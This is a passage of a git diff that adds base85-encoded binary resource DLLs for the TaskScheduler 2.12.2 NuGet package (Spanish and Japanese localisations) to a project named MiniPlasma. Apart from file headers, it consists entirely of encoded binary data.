zRmjuX7l3+Q@2D{-u#we)#Kxb>qUg;8I`2)hOco1)G%AQ4xrqfJLT5oxw}D4J0Atd! zGih#hL8P3kB-vrWA_2LK&8&j;78J7BT6oBU?op|b1zU)y5{MBA7hvE(poRN-(!}#k zrnrv)xO$=VbW92&p{!fX{#3VNa}2ZD-_w6O>fcy9;^c*=l4 z12HsuM`{GH1&u5>Sf?v0GwuOQx3NapOe^CXK*-N_UnOWw_`ifb*pqrbY@oo>8Y^M@ zfiOOsnsSyFNE^VfTng-G?*I%lGnEU1y#)^5qAq5i0%`iCkrqpJi`hk>7GEB!n;Vqs z`Pg%&W)pcU!-O)lMrcj6u_-|8W@{DO04GxNmav<9V?OOONie>=Z1u)VzGY07e=|=HHPd&0x+%2nw4aSy@<&?>b zaylwkh?5o95>`q3drxHA!72D&0vJFm`h2u>JokX0JezEL zpp)b=5YN4QVt4I_BtwtIOJFhcQY^?NagfmFku9B$*V&g#+MDcwIA{HrVvy|#%7YL# zizy(xq{`W3w8Q90(%R3H=?;}cHD3<`Gk0>>PgFx!h4$}m*Za&Eb zm*92CMHWEpwikFH;^Vy(cyl(p4+Nu{Qm<2Kz#9OJA;1D;T?9)pmJ)J26J%kZa8jUC z0Oh+>bTrWEk*50(Pgbqm>(f*pdQ{|9cdrPiSf2N!HGq`{mTAxhfRw!XOX_AUX@>B-qr%nL;i!awM~kCv(1hjijhYqq zL7!siQv!WvC`yr%<7!%G8mgm=uM;s#Sb_&YWEzkc77@)LYGs@U^OQ@2t|0RU1QL#E zDLFxrlBf)=(hS%kw3wp|tfY>kjA()y@UtBik*;TB;5?+!XcjG~Y)DgC&4$o8Z~(hJzz~kW$@&0QrO3LmNF4$aBq&! z;7BgVY%z7cLQ2Xl;>!{O+PTA#MJe2xpgT3ONf;Cji_bUXtqJf%y-PZpYqq0|CjJ2< zo=i#4f}*tP(3tYj-%*5mSyVF++%S)84tPpq!W~L^Pwa|_=Sk#t-;~!$@rg)OZ59T? z=D-$O8ZrTApdzP5w02|>=9Fs}Qwj$Xw%&En#zYZ!!{TNok`yb)ikUjCxPT0p3-KwF zNQ!Q@s5-1iDWw_7MN-HLM9JrR*+Xcs;4uOxo#9goh<>?42}U?QI}nRLuIkFLrmlmbm@pj4`TCSe?#e_q z_MK1v&=WbCCH@ZHWD?iDiTmGz3{nOy=z7+OI6@gvMfs=n1Cbz@Bs&tGF)fL2(ko6Q*0g`qNN6zZTP^0R5BYz!vQr4q6C^!hZW z#@I{A=Rh`%j}^+9>)D^sFJ;5~_3tFzhmro0`&4$GO;qs8mAVvJQb#EY7s=|lEPz8U-mJGZXpSxd4!qlpy^i@pI9gJ`ps+)h)=C6v6pxa& zN7ZQS3BZ;cPK2DEfca)?8_wHUFQ5gQE|N9dG+mt*vP|2IIKC#$DE0dqRJ)}fDM`jz zsFHhS;IOW<%fw}2@j0l_9vh0IWt5j~AAaaaiNlW(oE*+JPa2W?>m&Zkuk9c5)HA2n zy~zgud;97Y`^7=pt{p>;6b7;yHUwriYo7C{xd#4X)j}>01lSD(?Ew*A)KUw(nfob$Ia5`;5?^&K!K?XNyGB zFQ+JM;w7DlqU$+@b-oWrZP3DahfukVrHKPyP39EeXsNAmBFCxEotWSyzGA$*g}EP3 zoCs8zx49X?+kxG}QxOF^y{h4@4CfS2>A)!-*!*$8*zyMe{48bK4o6Oe&5bsnRqo?8 z4s?jO>Nx$N5Qz-oD3nKDG-`>c>LjP*_!&TJg{~_WMfwJ{Zl| z^U2?45N~#h`kZ<_FYh-T7qWJ~X$5s1FT;krmWA+9veR{O8hFTG!(80%cPNah{2o8` zxH~UY>ddBaw+<@WuAJxA%su$w0cGf}K=pGi?p16#dNn9{F2=Y9_XX~+ZtTbXKmIG_ zu)AY4BHBBP0 z1N}LDTF7!Q)oSQ_t|zCzfQ`b6Q-5WsaKZ=dtnvZosc;dO-|JNUqC~vZ zBQKFXRF9|9O&m`S45A?HCdo03@kR-m#mb>8M{Ed6n#O^x;~7D7Jw)G+WF>tSh9!NJ z6=6)j8APEC)y_zIHg;TEL3-Rce5uCaD0!Sy5QnE+R^ zioR~KjFE36Q}L!kI2Df<<4Ls|x~jp$!OtxT#FVG}v4va*PV?w)8ex z;1&7^uV)l|NxzoL$a~T48C%B6@D`Dlu>vyE9wFY8IVJM$<`B(og0~g9ddSBXbS9sq zt^42W&T%tMw{TgFKKGkGtFItKhDuvZzmg1{RueHKgZsjxvpRiu$INJvg`{j!C z<99de`587&)+y~+lBA~Px# literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..c76cd09eb5d3d58728383529b26c35809b0ea1cf GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..b86bddee5c8c220e6b2754a60a40fb0eb3ad71b8 GIT binary patch literal 10240 zcmeHMdt4OPy+7jbJQHdD@jY)CCE*KFX1w?@$5e3EeqtRs zCUue+3m-(CZr2LNZtFJHr=iGLkPl)I#_2v|jYBGPVEpPB+yLXYLT}$oWNd}TX15tI z$#qLYhnS8-^SP3sy~ZY)tU%6z>8aXBmX{Y8m?3R?E`yAy9rzp^_1)$vL14X?^Bl#`^E-~E@R zb#Tx|xpn4$H?52PZu)P&3>}%V>x-*(y3VVQr%m4*+V(qD`?yVT?;wMjEAQmMnHH^qqArTHeKAyX>PwLTIF9+ z{j_Y*nPt<4eY0(M$dln8ji@V~5ccplPmj9r+{dF69=vPJG_*uCLt)yOrH{0XnVR|g zi12maMhsi>c4Tf&XVjtPi!?`X*57N))5nkgpYt;|mxa#Cx##KRPcDU|9NCvTyLIQ~ zxnFI#kaqa3OZSgk7MYp5rz5k{5}FroySdc#$_LAy8oKhqlR=Y1&mwZ z-(0}3rSLVg3*(uXZ^GOMgBh~`zY@uP7X6{1O9S3Sv^4Z<(Con7g?*qE{Z&Y!J1Abb zz6X9P`qzPb6|$PqcAzZ*{$#-4L%R(8OyGrp|9jxEAJ0a>-^4SW@X;>-{b1mof*ucp zUov2S!*~(!m*M##<~D%GH<*6~xZ^Q*8Z8WSpF>6i`jenr2iiNs&`)Lt=3qujXfhddL{;(K~V zErtTCSr$m__|vl@^z`5?_N19F3n!4mQrUc#$C4q!#8N?54jx+p80D4iOH-?WNI6AG zvcm$4B=#$S?wbSaZBWR@mcv6f=w8GXvcVQ2N hf84KfIu7W&yXgnZ+yi?AOhpk zxu=V{AQD=_sq~;DITL^~W*!9DF%bx!1aNp3jQoYi$ShD_H%n&jHK8NceJl3}};bp}n0w1ZR^c^d8~a+*jmCQbP|#s)(nG zthkDNoyslMvwW^=0jmbuxInZ8;4AS~z>WYVA`oRE5cCL1IlBl1u_uI5c*+8S7R2zg zo{<&-_z)UdZeialqI~0?jOlW=2sYEo_y-We{oR)WS}XjoWh1d3p{OtQY}i17r8TBy zF+dpOk3cy~3#1(2xxImPYze?H)0cfJ*xSHCUDUD64y1{_BR#;?jb)DlHMVc4N^Vf9 z*MKP6pGaL9RwzSjgw{kkqs_FNt#jBaIFXW9%UwWWfRV1gG4L)(C5mN%dibL#Tb7pX2O^e} zFE7gJBECW#esR^ZD?r9_>W)l1I0au#fPr{*#QbwKZ#?N;li*K4n-Fcq%6o!#VGBl9 z?jU7k0S3KE9t82Mz7s2J-@qBFEL>o5UvDhPC1#M&=HV~B5u`KvO4^g`cfdf`8v}n& zP#zetSAMb*rFPCm>TGhyZP5ljs_xOjh zXGCT3F?>O3dPcw15)1-KV$UT0!ScTAX5)=YpH=ilGZEysh>{x0sX)0!l=8qqLh8{D zlMb|QKJf)>@j0X*X9Ka@UZ8@AkNQ!d&e_=-5QOD*eNK4+hX5EwfVs%JLM+ANE+NN# zK{o6YjxNyi0EH`5^lG5DhnKEJl{Js=^^da7j?3;%vg?Vq>KA3_$+nGWWM_jgPIlMJ?qjm+gzRpV-FpGQ z{`?DVTXq5{yS517vU{KGeo=NG0i?6idF}i@4+NBexMf!h!AZmu*Y`cwae&woWpG8@ zTCpNFF?+2rsQvi1_WFau;0i5Gtrhyql`f%-)Nvn{T}O$5v#EV|Romv~_T76r8+ORf z<8r05vu;bly`8daD`q@U7cAQ>yIgJOFnLIJ9+sWe9N`4@ z0V49JWLFJI9t<5s=pqP{NfoD};OlyN&>jl|; zNOqqTqHl@lW0TOIY#nsHy8e3QdLg{yv3;b~hq+?esBW(6!T#x9{2}jJ(#;(*D?X z(%k(lkIyOGg^^@|t66q$K&TZ*!hZ;|3*l{+UFRtSd@UHEM2_O^Su#WOUZmDDKes@(+wUu}dRT#IS*4744^+>wxTT zKma%s1Zh7{%=5yX!-mK{FbEVUi%MQ6@{Ai1gT-)`d!kvH35gNstdcB_j8tVjS$2Uf z{%bw4fH#~71OgACRS?v%`BeM*Eu=GiHp*k6XYtTNJ4y3*SLk?daUV5#y@ND^X$3G1 z>xk#IprsW8c9e=@g)XtsGg5us0|}Ho&m(mlx*_cCo3K=n2edHS4pg;2^;;s8Md7`?0Xn$wJ0e{W?mKfg-fvIj3!#zQ#C{tX8;Jz$7b;BIqEvW@ec=M4W zJiL4UaZ+q$>NCP8W15tVxmU>)POjv%&jk0~Nlt{c-^=-QR{mO;gq;9So~t}()hs2u zl(beX6Mlvj08BNpdq*ZUiT!|%qerLkyO!VMh2Zwxm3%jE;uAW4k3)GOCFlMWf#KID 